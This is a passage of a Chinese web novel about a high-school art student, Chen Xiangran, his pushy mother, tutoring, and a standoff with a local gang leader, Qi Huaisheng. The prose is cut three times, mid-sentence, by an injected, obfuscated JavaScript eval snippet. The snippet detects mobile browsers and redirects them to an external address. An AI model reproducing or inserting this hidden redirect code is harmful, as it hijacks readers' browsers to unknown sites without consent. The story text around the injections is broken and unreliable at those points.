“干嘛？写作业去。”陈向然从下面踢他一脚。 “你画得真好噻。”程希被踢一下，动都不动，“你成绩好，都没必要参加艺考。老天给你这么多技能点全浪费了，还不如给我。哎，你当我老师呗，我可以给学费。” 程希目标明确，刚入学就确定了艺考的路子。后来听他说，是他家里人的建议。原因是文化不够，艺术来凑。即刻给他物色遍了全城的美术老师。现在两个月过去，文化依旧不够，艺术也学得叫苦连天。 陈向然沉默了一会，题一时没看进去。 程希兀自说着：“没想到我爸妈动作这么快，我以为他们会给我考虑的时间呢。” “你确定他们在‘建议’你么？”陈向然嘴角微扯，“你自己呢？喜欢画画吗？” 程希依然是那只小猕猴，懵懂地挠着毛绒短发，“嗯”了一会儿说：“嗐，没想过喜不喜欢的，就是条路罢了。” “你参加普通高考，也是条路。” “那不是‘此路不通’嘛。” “此路不通，彼路就能通了？” “唉然哥，你想说什么能不能直说，我脑子实在不能跟着你们学霸拐弯儿。” 书包里的手机忽地响了。拿出来，还是林岚。 父母离婚后，尤其他寄宿以后，他盼着父亲哪怕来一次电话，却从没等到。 他把手机屏朝给程希一秒，又快速塞进裤兜：“我要是学霸，这电话就不会这时候响。” 学校任何角落的厕所间，不知不觉变成了学生电话亭。一走进去，除了有水声，还有断断续续毫无关联的说话声。陈向然掠过一排便池，挑了窗边的隔间，风从窗口呜呜地灌进来，散去一些气味。 电话刚接起来，对面首先是抱怨，怨他接电话接得慢了。紧接着围绕他的成绩，就这么滔滔不绝下去。 和林岚说话的时候，他只需要消化吸收，她便能毫无间隙地说下去。她常年待在公司， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301923|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视察、开会，是个很好的讲演者。 “你们校长在开学家长会也说了，高考要从高一就抓起。你期中考的排名连三百都没进，这样下去连个一般的985都上不了。我已经打听到了，你们学校有老师办补习班，我先给你报三个科目，物理化学数学——” “等等。”他很少这样打断林岚，“还没分科，怎么是物理化学？” “不是说好了？你成绩总体在上游，肯定读理科的嘛。再说，学费我都发给人老师了，哪能再要回来的。你中午记得找这三个老师，我把他们联系方式和宿舍地址发给你。记得看啊……” 在林岚絮叨时，天上的云已经被夕阳融化殆尽，只剩团团灰色余烬。夜幕笼罩群山，不留一丝光亮。 像那深海。 鲸鱼呜呜地吟唱，它不知大海的模样。章鱼用触手遣它往东，说有栖息地，鲛鱼告诉它往西，食物丰富。但它决定了，只想往有光的地方去。它梦想着有一天看清这片海域，它需要光亮。 他望着天窗之外，还没看清鲸鱼的轮廓，深蓝的海又隐去，眼前还是山里那片积雨云翻滚的天空，厚重又浑浊。 他说：“妈，我……不想加补习。”顿了一下，又道：“每天时间紧，累。” 他不清楚为什么，可能是每天的日常作务，也可能是这个学校的奇怪氛围，也可能深藏在黑暗中的什么东西——他总觉得累。 林岚顿了一顿，用“嗯啊哦”勉强维持一点谈话气氛。 “累也是正常的。你看，妈妈每天这么忙，比你累多了，最近还有点失眠。年轻人，受点累才好。为了你能有个好前途，妈妈都觉得累点也值。对了，你不是想艺考嘛。艺考两边都要学，到时文化课吃亏也不是办法。高中生啦，要学会吃苦呀。” “嗯，您注意身体。” 他一句关心，对面默了几秒，好像用沉默表达了受宠若惊。而后说“好，好”，又叮嘱一句，明天记得去补习班报到。 天彻底黑了，山路上亮起暖融绵长的灯火。 申恺探了半天，带着一群人从南边后街直捅北边山坳，找到进入海中的办法。 北面地势崎岖，校外街道正到海中建筑楼的楼腰，面前就有扇七八米高的窗户。 “那小子能从学校里出来，一定有路。”申恺摸着下巴断论，“从那扇窗进去试试。” “恺哥，这样做，生哥会教训咱吧……” 申恺左右张望，去隔壁店门口“借”来一把梯子，仰望高处，咬了咬嘴唇：“生哥不常请求我们，他让办，用什么法子都得办。” 他架好梯子，一步步攀爬。墙面结构还算安全，窗下有个小小的平台，放了台夹满灰尘的空调机，机边可站一人。他站到平台上，一个趔趄——没摔，只是脚一不小心朝后一勾…… 梯子应声倒下。 “……” “恺哥！” “恺哥恺哥……” 下面的人喷着气音叫他，七手八脚慌不择路，要帮他扶梯子。 此时一个声音在黑夜里响起：“梯子放下。” 众人闻声即放，寂夜里突然“当啷”一声，纷纷转身立正：“生哥！” 齐怀生叼了根烟，火星隐隐发亮，路灯的光勾勒出他右半张脸，眼角微微上吊，神色十分不悦。他抬头和申恺对上视线，微微启唇，从齿缝中析出浓浓的烟雾。 “这么想死，”齐怀生眉头压低，“那就自己下来。” 陈向然握着手机，提着裤子，脚踩上冲水阀门，哗啦啦，冲了厕所。正要开门离开，感觉到头顶的风突然消失，不禁抬头看了一眼厕所的天窗。 一个乌漆抹黑的东西遮挡了夜色银辉，和不远处昏黄的路灯。灯光勾勒出一个人形轮廓，这人挪了挪，漆黑的臀部差点要塞进厕所来。 还听见一个令人火大的声音。 ——“生哥，我自己下来，自己下来。我现在先进去给你探消息，等着啊。” 申恺话毕，一转过脸，猛地和陈向然四目相对，笑容刹那间消失。 陈向然则仰着脸，脸色仿若见了鬼。呆愣片刻，脑子转过了弯，冲他微微一笑，伸手把窗“哗啦”一关…… “咔哒”，锁上了。 申恺：“……” 他仿佛可以透过窗玻璃，读到陈向然缓慢又夸张的唇语： 让你们生哥见鬼去。 5. 愿想 两天不见鲸鱼，陈向然就开始想念那种与外界隔离的静谧。 一会是“生哥”，一会是补习，如果这时朝陈向然投来一丢火星子，他或许会燎起一片火原。 确实在两个多月里一点点累积了疲累。 凌晨四点半，水管的输水声哗哗地响——有人起床，开水龙头、铺床、冲厕所，可能是高一也可能是高二。这时候，阳台外弦月高挂，宿管还在酣睡。宿舍区里孤零零亮着几盏路灯，昏黄的光蔓延到宿舍楼道生锈的铁门——还上着锁。 陈向然睡眠极浅。入眠晚，每晚在梦里连夜狂奔，身后似有千万人追赶。下一秒便被扰醒，闹钟也不需要了。他迷迷糊糊地爬起来。刷牙、洗脸、叠军被、捋床单、清扫柜子，一气呵成。带上课本和笔悄悄出了宿舍。 湿冷的夜空气扑到脸上。他沿着走廊到楼梯口。这里人多，但都不出声，只偶尔“沙”地翻过一页书。早起的鸟儿们有位置占，借楼道灯光读书。借不到好位置的，自己带了把老式的铁壳大电筒，打灯背书。 地板、栏杆、楼梯，密密麻麻堆满了人，没处坐。他只能跟另一个人挤坐在水管的阀门上，翻开化学课本开始预习。听说林岚找的这个老师喜欢超前教课，他得赶上进度。 五点半，起床铃响，集体在二十分钟内做完所有内务，披星戴月赶到操场。偌大操场寒风凛冽，天色如墨，主席台灯光惨白，一操场凌乱的蓝白点掀起一片念念有词的读书声浪，盖过了山里呜呜的野兽晨嚎。 “快点了快点了，快迟到了还走？跑起来！跑起来就清醒了。” 陈向然一边在书上画公式，一边朝操场入口掀了一眼——是政教处返聘的退休教师老廖，负责风纪的，正对着大门喝骂。过了清晨六点，天边才渐渐挤出一丝天光，微弱苍白，勾勒出山峦的剪影。 也勾勒出操场边缘的人影…… 他揉了揉太阳穴，瞥见操场角落——有人不知用什么东西拧操场围栏的铁丝，拧不断，又垫了一张不知哪弄来的桌子，要翻过围栏，闯进海中的菜园子。 他眯起眼，那些人全都认识——申恺在围栏外指着操场这边，不知和他们说什么。 左右一看，没见他们生哥。他低头接着看书。 懒得搭理。 菜园子的看守人并不是每时每刻都在，好在养了只身长两米的巨型二哈，经过训练，见有人进来，接连的嚎叫撕破黎明。 一操场昏昏欲睡的人霎时清醒，读书声弱了下去，集体朝菜园的方向看。只见神勇二哈绕过一地土豆番茄，锁定陌生人，嚎叫着冲上去。园子里几人大喊着“恺哥”，四处乱窜，踩烂了一地番薯叶。 “什么人！”老廖两眼瞪得溜圆，前去查看，指着那群人骂骂咧咧，“哪里的小孩？是不石中的？” 景区里就两所学校，看到游手好闲的年轻人，老廖都不必想，直猜是山下那所。 菜园看守人从里屋跑出来，刚睡醒，头发还乱，就跟二哈打配合，前后夹击，抓住人就埋汰他们：“你们这些孩子呀，不好好读书，还他妈想偷菜致富呢？啊？外面那几个也过来！” 二哈附和：“汪汪！汪！” 那个申恺显然不想“过来”，带了外面一票兄弟先跑了。里面的无人接应，只有乖乖被逮。 按道理这个时间，石中的学生还在和周公下棋，哪有上外边跑的。陈向然观察了很久，还是没有见到齐怀生的踪影。 他略带轻蔑地眯起眼。 叫小弟替他跑腿，自己在家睡大觉。可真替这些小弟可惜了。 “你笑什么呢？” 陈向然扭头，叶知抱着本厚厚的笔记本站在他旁边。 整座山这时才刚刚苏醒，曙光暖融微醺，流淌在操场上，给每个人镶了道朦胧的绒边。晨风拂来，陈向然有些困倦，反应了一会儿，才想起自己上一秒还在幸灾乐祸。 “没什么。”他说。 “你认识他们？”叶知看向那些学生的处罚现场——看守人还在骂，政教处几个老师也过去了，在商量处罚措施，“他们最近在我们这边活动太频繁了，估计学校盯上他们了。” 他忽地想起程希说，叶知昨天在校门口看见他，那时他正被齐怀生那厮纠缠。忍不住多想了一点：“你昨天，跟老师报了？” 叶知愣了一下，长长的眼睫微微下沉：“他们又没做什么，没什么可报的。” 陈向然点点头。 叶知这个人，每天缩在她自己那方寸课桌边，看书、学习，似乎还在写信。昨天还有坏心眼的人碰掉她桌上的文具，再冲她做鬼脸，说她天天不搭理人，自以为多么高贵，其实只是个哑巴。 她也没发作，更不像会管人闲事的。但陈向然想不到，她为什么会把他遇见齐怀生的事告诉程希。 他笑笑：“你怎么知道他们没做什么？” 叶知绕过他的问题：“我还知道，你今天中午跟我同个班。” 陈向然：“啊？” 叶知说：“化学补习。严霖辉说，今天开始加你一个位置。” 严霖辉，也就是班主任兼化学老师的老严。 中午，陈向然在林岚的聊天框看到他名字时皱起了眉。 他打字说，严老师教课死板。况且平时的课就是他教的，补习找别个比较好。 林岚说大家都这样，谁让严霖辉是高一化学组的组长，补习出成绩最多的好老师。今年三十几岁，中学高级教师的职称都拿到手了，冲着这个都得去。并说放心，老师总不可能把课上讲过的再给补习班讲一遍。 陈向然常常觉得和林岚之间有信息鸿沟，没理解她在说什么。 中午他提前了五分钟，到严霖辉宿舍。四十多平的小地方，阳台就占去了三分之一。不算很新，但还算干净。十一个学生围坐两张狭窄的折叠桌，分发今天的试卷。 陈向然多领了一张，是上节课发、这节课准备评讲的。他翻翻上面的题，他们已经讲到了离子解析、氧化还原……似乎不按课本顺序来。 十五分钟过去，严霖辉才从公共浴室悠哉地逛回来。肩上挂条毛巾，提一桶换下来的脏衣物，拖鞋踩在地上，水声滋滋地响。他去阳台，衣服倒进洗衣机，再弯腰提起一瓶洗衣液。 仿佛没看见一屋子学生似的。 陈向然偷偷扫视一圈，包括叶知在内，都在认真看题，谁也没有要提醒严霖辉，上课时间过了。 他朝身后的阳台瞟一眼，天依旧灰沉，树上鸟群蹭地飞起，掠过阳台栏杆。严霖辉正靠着栏杆，头顶披了条毛巾，一边摁洗衣机一边擦头。擦完缓缓戴上眼镜，从阳台走进来，没说什么，径自取来遥控，开空调抽湿。 胳膊被人点了两下。陈向然回头，见叶知把稿纸往他肘边挪了挪。 上面写了一行小字：别看了，先写题。 陈向然抬眼，确认他在翻找今天要评讲的试卷，在小字下方又写了一行稍大的潦草字迹：超二十分钟了，还没开始么？ 桌子小，陈向然跟对面的同学几乎抵着卷子，那位伸点脖子就能看清他们聊什么。也不客气，在叶知的稿纸上大咧咧写了行歪歪扭扭的方块字：十二点就开始了，先写题，再评讲。 陈向然问：你们不写完了？不用等我的。 同学写：不是等你，他每次都这样。先写题，再讲课，写题的时间薛定谔。 陈向然看着纸上押韵的字句，叹了口气，把上节课的试卷补上。还没动笔，对面人在纸上写了个名字和班级：我孙临潼，十七班的，你不久前画的板报，我天天去观摩呢。 陈向然撇撇嘴，写了几句问候，就当认识了。 半节课过去，严霖辉才喊停笔，开始评讲。 他的课倒是讲得好。为了串联知识点，把课本顺序打乱重组，直接针对高考，这样做起知识点杂糅的实验题就容易联想。白板上，他用马克笔手绘的实验器具，像课本印刷一样精致。一节课下来，他对严霖辉的印象过山车般上上下下，最后只剩下服气。 唯一的美中不足，试卷最后一道题仓促结束了评讲，几乎只点拨了几句，便结束了。陈向然侧过头，瞥了一眼墙上的老式挂钟——严霖辉卡准了下课时间，一分不多，一分不少。 “下课。” 其他人收拾了书包，从狭窄的空间里跨出去，离开了。 一直到人走光了，只剩下陈向然动作缓慢。严霖辉拖过一张椅子，与他相对而坐：“聊一聊吧，陈向然。” 陈向然刚拉开书包拉链，又坐了下来。 “你妈妈很热情啊。”严霖辉说，“特地嘱咐我多和你聊聊。现在——”他看了眼挂钟，“时间还早，不急。” 陈向然把试卷随手一折，丢进书包：“怎么了？” “以后有什么打算？要读理是吧？” “噢。我要当艺术生的。” “哦，艺术……”严霖辉的反射弧仿佛绕了地球好几圈，皱半天眉吐了句：“艺术生？” 严霖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301924|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辉捏住眼镜腿的一瞬间，像是捏住了陈向然的开关。陈向然将他看作巫婆肩上的圆眼猫头鹰，眼瞳在昏暗的空间里灼灼发光。他缩了缩脖子，好像对面随时可能扑腾着翅膀飞扑上来。 “嗯，美术生。”他说。 “哦……”严霖辉好像还没从震惊中缓过来，“嘶……其实，我看你成绩还不错的。在海中，不拖均分就至少有个211上。不要灰心，才高一。” “没有灰心。”陈向然没看他，低头拉上书包拉链，“只是想学美术而已。” 严霖辉迟疑两秒，喉底沉吟着寻找措辞。 “啊……理想嘛，应该要有的。我以前也想过当美术生。”他眼珠子左右摆动，“嗯……既然这样，你现在应该去找艺考的培训班呀，找补习是不是错了方向？” 严霖辉的话实在，是在真诚给他建议——他和林岚不一样。陈向然一瞬间觉得，想做艺术生，好像也不是什么丢人的愿想。 然而自己口口声声说艺考，其实压根没开始搜集信息。少年人的本能有时候就这么奇怪。默认了母亲不会同意，他便一步都迈不出去了。 他抓起桌上的校服外套：“谢谢老师提醒。我先回去了。” “哎，慢走啊。” 教工宿舍周边都是参天大树，湿漉漉的树根顶破红地砖，弯曲起伏。树梢上一滴露水落在他头顶，秋雨的凉意便爬遍全身。 他抖了一抖，抹去头发里的水渍。 上了一节课，他差点忘了，严霖辉前天指着投影屏上的PPT，机器念书一样照本宣科。当时班里有人暗暗嘲笑他，说怎么不换个录音机来上课，这职称怎么来的云云。却也有些人及时察觉猫腻，花钱到他的补习班上求取真经。 陈向然发觉自己正在发出不屑的笑声——不知该说他名副其实，还是大家有眼无珠。 才刚上完，林岚就发来了微信，问课上得怎样。信息已在那躺了半小时。 陈向然打字说不错，刚刚老师拉他单独谈规划，很关心新加入的学生。 林岚立即发来一条语音：“那必须的。妈妈除了学费，还多给他转了两千呢。看来这老师能交代，能照顾你就好。” 陈向然顿了一下，听着那结结实实的数字怔愣。紧接着两个拇指同时打字： 两千？？？ 您不是说，最近公司业绩不好么？ 林岚：只要你成绩能上去，妈妈自己省点儿，我们母子怎么都能过的嘛。 陈向然想说点什么，手指悬停在九宫格上，打了几句又删了几句，盯着拼音键盘的皮肤发愣。 键盘是纯蓝色的，深蓝，一时间这蓝色似乎扭动了起来。 它又来了，在暗无天日的深海游动，哪里有光它往哪里去。但它还是只太年轻的鲸，初出茅庐，便被灯笼鱼摆了一道。 陈向然想再听听它的长吟，肩膀上却有只手把他从那片海里拖拽出来。 是严霖辉，他刚从宿舍里出来，大概要去行政楼。 他指指陈向然的手机：“自己小心点，别明目张胆拿出来玩。” 放了学，他吃完饭就去翻学校后墙。 围墙顶插满了碎酒瓶子的玻璃碴，陈向然尝试了很久，才把墙顶拔出一个缺口。出去了再重新插回去，伪装成原样，一路溜到巷头酒吧。 他正想进去，手还未触碰风铃便缩回来。他发觉里面有动静。 透过门上的玻璃，他望见吧台的生锈吊灯，和那位忙碌的小酒保。再挪点视线——吧台边缘明暗交错的那张高脚椅坐着一人，是齐怀生。 他背对一群站着等骂的人，推推手边的玻璃杯。杯里的酒见了底，他人却没半点醉意。下一刻转身，训起人来。 有点二痞子的拧拽味道，还有点像海中风纪会长的训话。陈向然细细一听，他们吵的是爬窗和翻菜园子的事。 “你们想死，我可懒得陪同。”他的声音听不出起伏，慢悠悠地，对人施以威压，“等海中那边告到石中来，看学校还要不要你们。” “书不会读，给你个十字刀，就会拧螺丝了？” “算了，你们别折腾。人我自己找。” 再挪一寸视角，陈向然倏然惊愕。他看到齐怀生一伸手，从被石柱挡去的一张桌上，单手抓起了几样东西：一本画本，一盒彩铅，一个调色盘，几支鬃毛笔，还提着他很少用的拆装画架。 齐怀生“啪唧”摔放到另一张桌上，指着那堆画具：“我就在这，蹲那个陈向然。” 6. 约定 现在进去，岂不正着那齐怀生的道？ 陈向然眯起眼，决定打个时间差，等人走了再进去。 雨却这时候来了，滂沱如注，雨珠滚落在雨棚、头顶交错的电线、和楼上晾晒的被褥。这里是县城边缘的居民区，有尖锐的声音在咒骂天气，几个小孩嘻嘻哈哈踩着水在街上跑。 他跑进窄巷，蹲进墙根下避雨。空气湿冷，他蜷缩起来给自己取暖。 孩子们从巷口奔跑而过，咯咯笑着，声音清脆。他们抱着老房子的方柱捉迷藏，溅起水花，一旦不小心滚到地上，湿了衣服，转眼就爬起来，露出灿烂的笑。 心想从小到大，似乎没这么玩过。 称不上羡慕，雨水脏，柱子上的漆块也脏，地上更脏。只是像他们这个年纪，陈向然不是在学校，便是在培训班度过。像这样一群人毫无目的地混在一块儿的感觉，他想象不出来。纯粹好奇罢了。 水珠从雨棚边缘落下，打碎水洼中他的侧脸。 他就不信了，齐怀生那小子还能在这蹲他一个钟，蹲半小时都嫌多。 为了找个清静地方，陈向然开学第一周从街头找到街尾，从山上找到山下，怕东西被人偷了，不停转移地方。 巷头酒吧李老板和他混熟后不久，就没再出现，他女儿接管了生意。这个女儿放由家里雇了很多年的酒保守着，自己不知上哪儿去了。半个多月前带了一身社会气回来，陈向然才从她和酒保的聊话中猜出来，李老板病了，她主动辍了学，做生意凑手术钱。但不懂经营，要去取经。只能到街上其它酒吧网咖里，混在迷醉的灯光下，交识一堆社会人，还有申恺。 小酒吧位置不好，没什么本钱，设施简陋，跟个卖酒的街边摊没什么两样，到底没做起来。对陈向然来讲就是唯一清净的地方了。 清净的地方现在沦陷了。齐怀生那种脾气，找到他的画具，保不准天天来蹲。 正考虑咬牙放弃这些宝贝画具，里面响起齐怀生的声音：“走吧，他今天应该不来。不浪费时间了。” “走吧都走。”申恺附和。 不过十几分钟，齐怀生等不下去了。 陈向然背靠灰白色砖墙，听一阵凌乱的脚步声从正门出来，逐渐远去，心里缓缓泄了口气。起身拍拍校服裤上的灰，从侧门缝里观察两眼，确认他们走了，悄悄开门进去。 酒保哥正在清洗齐怀生刚用过的杯子，瞥了他一眼，又收回视线：“陈向然，还是橙汁吧？” “我看看酒单。” 他并没有看酒单，而是溜到阴影里的某张桌台——齐怀生刚把他的东西摔在这上面——定睛一看，整排桌台光溜溜的，只立了个小收纳盒，上面贴着桌码牌。他抬头看到玻璃落地窗上自己的影子，和倾泻的雨幕。 东西呢？ 酒吧的白炽灯在身后，一个黑影从头上落下来，罩住了他的影子。他在窗玻璃上看见身后更高的人，灰色衬衫，袖子卷到肘部，大敞着露出里面的白色汗衫。 “陈向然。” 他一个激灵回头，齐怀生就站在身后，一手拎着画架，一手抓着画本、调色盘和彩铅套装。对方往前一步，他不知怎的就后退一步，后腰磕在桌沿，无路再退。 “是你的东西？” “……” 这不废话？ 陈向然安静片刻，以迅雷之势探出一只手抢夺。齐怀生把东西高高举过头顶，任他怎么蹦跶都碰不着。陈向然当即扑在他身上，把他推往身后一张稍矮的四方桌。齐怀生猝不及防，撞了上去，桌子“呜——”地朝后挪出半米。他仰倒在桌上，东西举远了，任陈向然怎么揪他衣服，爬到他身上来，既不松手，也不还手。 “强盗……”陈向然咬着牙骂，“还来。” 齐怀生一勾嘴角，很得意一般：“世上哪来这么便宜的事儿？还给你可对不起我在这带的名声。” “草……”陈向然差点粗口攻击，把他举画本那只手的袖子都扒到肩上了。 酒保“呼”地一甩抹布，指着他们：“要打出去，别在我们店里。” 那些人哪可能听话，申恺一个箭步冲上来撞开陈向然，配合两个兄弟把他两手朝后一扭。偷袭成功，彻底制住。他没忍住发了声惨叫，钻心的疼痛掠过神经。不禁破空大喊，朝后猛来了一脚。 他挣扎，申恺把他扭得更紧：“生哥，我抓住他了，想问什么赶——啊！” 齐怀生没跟他废话，抬脚就把他踹了。这一下毫不客气，申恺侧摔出去，砸翻了一张塑料凳，躺在地上四肢扭曲着，气都喘不匀，一时没爬起来。 陈向然感到两臂一阵轻松。活动了一下肘腕，疼痛闪电一样袭到肩膀，他吸了口冷气，忍住了，再动一动，才缓和一些。 “回去热敷一下。”齐怀生靠坐在桌上，冲他抬抬下巴，“抱歉，冒犯了。” 陈向然掀眼看他，那人把画具摁在桌上，懒懒地朝后微仰，说着道歉的话，做着强盗的事。不需要猜，他知道齐怀生想跟他做交易。就像他跟暗算学长的“老好人”纪封道做交易一样。齐怀生在他心里，终于从强盗彻底晋升为虚伪的强盗。 陈向然忍痛放下淤青的手，嚣张道：“嗯，我抢不过你们专业小偷，想说什么直说。” 牙尖嘴利，“专业”俩字咬了重音，暗地里点燃一群脾气，偏偏齐怀生镇着，那些人只能咽了火药作哑炮。 “我不想和你动手。”齐怀生说，“还记得上回说的？” 陈向然笑：“记得，生哥对我这糙汉子感兴趣。” 齐怀生：“……” 他故意的，非得逞个嘴炮。惹得对面沉默了，两眼一动不动地盯视他。 盯久了陈向然一阵发毛，一转眼，眼前群人化作这座山顶上夜嚎的野狼。齐怀生是狼王，琥珀色的眼瞳在夜里泛荧光。他威凛、沉着，是穿梭在阴影里的，夜猎的狼。陈向然几乎一刹那明白，他现在虽和申恺他们一样，在这一带乱窜，却不会是一路人。他这种人，不会喜欢在一片小破街区玩着发号施令的游戏。 他是困兽，又是困不住的兽。 狼走来了，巨大的爪子把住他后脖颈，使了点握力，目光落在他脸上：“再说一遍？” 陈向然不怵他，拎过他的衣领，逼他伏低下来与自己视线齐平：“想听应该自己说一遍，生哥。”还故意嘲讽地尊称他。 齐怀生收起笑：“我上回说，你能提任何要求，只要你愿意帮我这个忙。我说到做到。” “我也说了，把别人从学校里引出来这种事，我不干。” “那么解答我几个问题。”齐怀生放开他，举起身后的画本，“我就还你。” “用本就是我的东西交换不属于你的东西，这是威胁。”陈向然两手盘在胸前，肘关节呲地一疼，颤了一颤，又放下了，“说你强盗还是夸你。” “那由你说。”齐怀生退后，两手一撑坐在矮桌上，护住了身后的画具，“你出个方案。” 今天也是倒霉，依然是雨天，依然被这伙人缠上。他就赖在这儿，什么话都不说，看这些人还有什么点子，想跟他耗多久。 大雨鞭打着整个县城，轰隆隆地， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301925|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有如战场之上万马奔腾。 齐怀生还是识相，没为难人。时间到了，他打算离开，把东西一一摆在他面前，完整归还了。 先还了画板，然后是颜料、铅笔。唯独画本他留着翻了几页，几乎每一页都只有蓝铅笔的轮廓，亦或涂彩。 他递了翻开的画本给他：“喔，喜欢画画？” “嗯。”陈向然一接过来，就没好气地合上了。 “明明在山里，却喜欢画海。” “山海不分家，画哪个不是画。” “我看你，没一张画得清的。画的是什么？” 那必然画不清。他到现在，都想象不出他的鲸鱼是什么模样。 “生哥觉得是什么，就是什么。”陈向然清点画架的部件，颜料、铅笔的数量和颜色。 齐怀生也不客气，陈向然在忙，他又抄起他的画本翻开，指着其中一页——涂了一圈深蓝色，中间有模模糊糊的一滩天蓝色——道：“一只鲸。” 陈向然数铅笔的手指顿了一下。 齐怀生细看片刻：“尾巴朝下，脑袋朝上，对吧？” 陈向然把彩铅盒扣上：“怎么看是鲸？” “总之是鱼，反正不是章鱼。”齐怀生合上画本，挪到他面前，“鲸，我随口说的。” “这口，有够随的啊。”他背上画架，抱上画本和彩铅，打算另寻去处。 “非说为什么的话……”齐怀生顿了顿，微微笑起来，凑近他：“像你。” 陈向然刚想打开酒吧的门，就停了脚步，回过头，正对上他近在咫尺的脸：“像？” “你是那一尾孤吟的鲸。这歌听过？” 窗外的雨慢慢小了。 天地间皮鞭抽打的声音弱了下去，倒在地上的摩托也停止了警报声。烦躁的世界终于有点平静下来的意思。 陈向然想到，去往别处，似乎也没有这家扶不起的酒吧人少清静，一时也不想走了，还在这驻扎。好歹老板和酒保都是熟人。 齐怀生刚刚说，他可以提要求。 他从大门退回来，把画具放回原位的一瞬间，齐怀生知道他的口子因为某个不知道的原因，开了。 陈向然塞放完画具，转身注视他：“你满足我一个要求，我就回答你一个问题。” 齐怀生：“说。” “以后你们，不许来这家酒吧，坏我清静。” 仍在地上躺的申恺，闻言死撑着从地上爬起来，伸出手，让边上的兄弟搭一把。张口想辩驳什么，就听齐怀生说： “可以。” 申恺瞪大了两眼。 “轮到我问你。你们学校有多少人会吹萨克斯的？” “大概……六个吧。”他想了想，把自己加进去，“七个。” 齐怀生皱了皱眉：“这么多。男生女生？” “齐怀生，一个问题，”陈向然竖起一根食指，“说话还算话？” “算。” 二话不说，没有犹豫，是个汉子。 但不会有下个问题了。陈向然想。只要他踏入这家酒吧，齐怀生就得遵守诺言，不进来打扰。只要对方破坏了约定，他就不可能再回答对方任何问题。 除非姓齐的敢在酒吧外的任何地方，跟他来硬的。 陈向然觉得有趣，莫名笑了一声，出大门正好经过申恺——这货刚从地上爬起来，一见他就发牢骚：“笑什么笑……”然而他还没站直，陈向然就从他身边经过，小腿一摆，又给他膝弯上补了一脚…… “扑通”一声，他又骂骂咧咧地摔倒了。 7. 强制 齐怀生真敢来硬的，这点陈向然在接下来的一周里确认了。凡出校门，总会在一些意想不到的场合，被他的人抓到。 放了学孙临潼突然打头，说要请吃饭。这个人什么事都是心血来潮，中午补习课结束后聊嗨了，下午一放学就窜到十六班，非要带他们吃遍后街。陈向然才彻底意识到，这也是个阔少爷，人也跟他的名字一样“灵通”得很。家里有钱、慷慨，跟程希那种家里做批发的暴发户小哥还有点儿不一样，家里多少沾点权。 烧烤摊烟雾缭绕，滋滋的烤炉，来往的摩托车、自行车，挪动的桌椅，杂乱喧闹，生意天天这么红火。 陈向然一站在门口，就认出几个同学。还有附近工地的工人。塑料凳一拖，扎起裤管，脖子上挂了毛巾，坐在锅炉那飘来的热腾腾的蒸汽里，扯着嗓子点菜。刚从县镇机关下班的白领解开脖子上的扣，卷起袖子，脸热得发红。大口一吸面条，猝不及防烫了一下。 “今天说好了我请啊，陈向然。”孙临潼把个皮革钱包往门口一张矮脚桌上一甩，正甩在叶知面前，“你小子不许和我抢。” “抢，多抢你几根串。”陈向然拉过几张凳，毫不客气坐下了，看着高处的菜单招牌。 开店的老板是对年近花甲的夫妻，住在海中后山的一个仓库边上。海中这片偏僻，临近景区，居住的人少，于是夫妻俩总是等到傍晚四五点钟才过来开门。光是海中的“黄金一小时”就够他们一天盆满钵满。 妻子摇着把蒲扇看炉，丈夫负责管上菜点菜，两手各端一盘串，溜达来溜达去地跑腿。孙临潼跟他们商量完，伸手招呼：“南叔，老规矩，还是那几样，来双倍，今天再加两串牛百叶。” “好咧同学。” 说完他往叶知边上挪挪椅子：“叶同学，你喜欢就尽情点，不用给我省哈。” “嗯，谢谢。”叶知点点头，挤出一丝笑。 烤串还在炉上，啤酒先来了。都是刚从冰柜里拿出来的，冒着冷气，太阳一晒，水珠在桌上淌了一滩。“呲”一声，两个男生各开了一罐。孙临潼没喝，先拿了个干净的玻璃杯，放在叶知面前：“来，我给你倒。” 陈向然伸手抵住易拉罐：“别给女生倒酒，问问人家喝不喝。” “啊对对对，莽撞了啊，叶知妹子。” “一点吧。”叶知笑笑说，“小半杯就好。” 孙临潼小心翼翼给她倾了半杯，嘴巴停不下来：“哎哎，之前胡晟学长被那个‘生哥’埋过的事知道吧？他说是我们班纪封道干的，我现在有点相信了。” 陈向然扯了扯嘴角：“你上回还说，学校要削了我们的外出一小时。” “真的，我看见纪封道提前准备会长竞选稿，下个月末竞选，估计要跟胡晟拼个你死我活。” “不至于。”陈向然也给自己倒了半杯。 “怎么不至于？纪封道虽然才高一，还是有可能的。” “你等着看，学长拼不过他。” 孙临潼：“……” 